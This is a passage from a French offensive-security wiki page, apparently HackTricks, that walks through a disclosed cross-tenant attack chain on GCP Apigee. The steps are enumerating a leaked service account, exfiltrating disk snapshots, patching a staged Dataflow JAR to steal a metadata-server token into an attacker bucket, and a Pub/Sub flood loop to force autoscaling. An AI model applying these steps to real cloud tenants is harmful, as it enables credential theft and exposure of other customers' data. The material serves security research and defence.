### Énumérer le service account Apigee volé
- Le leaked SA (Google-managed under `gcp-sa-apigee`) peut être énuméré avec des outils comme [gcpwn](https://github.com/NetSPI/gcpwn) pour tester rapidement les permissions.
- Les permissions puissantes observées incluaient **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, et **Pub/Sub topic publish**. Découverte basique :
```bash
gcloud compute disks list --project <tenant-project>
```
### Exfiltration de snapshots pour des services gérés opaques
Avec des droits sur les disques/snapshots, vous pouvez inspecter des runtimes gérés hors ligne même si vous ne pouvez pas vous connecter au projet locataire :
1. Créez un snapshot d'un disque cible dans le projet locataire.
2. Copiez/migrez le snapshot vers votre projet.
3. Recréez un disque à partir du snapshot et attachez-le à votre VM.
4. Montez et inspectez les logs/configs pour récupérer les noms de buckets internes, les service accounts et les options de pipeline.
### Dataflow dependency replacement via writable staging bucket
- Les analytics workers récupéraient des JARs depuis un GCS staging bucket au démarrage. Parce que l'Apigee SA disposait d'un droit d'écriture sur le bucket, on pouvait télécharger et patcher le JAR (par ex. avec Recaf) pour appeler `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` et voler le **Dataflow worker** token.
- Les workers Dataflow n'avaient pas d'egress internet ; exfiltrer en écrivant le token dans un bucket GCS contrôlé par l'attaquant en utilisant les in-cluster GCP APIs.
### Force malicious JAR execution by abusing autoscaling
Les workers existants ne rechargeront pas les artefacts remplacés. Inondez l'entrée du pipeline pour déclencher de nouveaux workers :
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Les instances nouvellement provisionnées récupèrent les JARs patchés et provoquent le leak du Dataflow SA token.
### Défaut de conception du bucket cross-tenant
Le code Dataflow décompilé montrait des chemins de cache comme `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` sous un bucket de metadata partagé, sans aucun composant spécifique au tenant. Avec le Dataflow SA token, vous pouvez lire/écrire :
- `tenantToTenantGroup` caches exposant les noms de projet+environnement des autres tenants.
- `customFields` et `datastores` dossiers contenant des analytics par requête (y compris les IPs des utilisateurs finaux et des access tokens en clair) pour tous les tenants.
- L'accès en écriture implique un risque de falsification/empoisonnement des analytics.
## Références
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}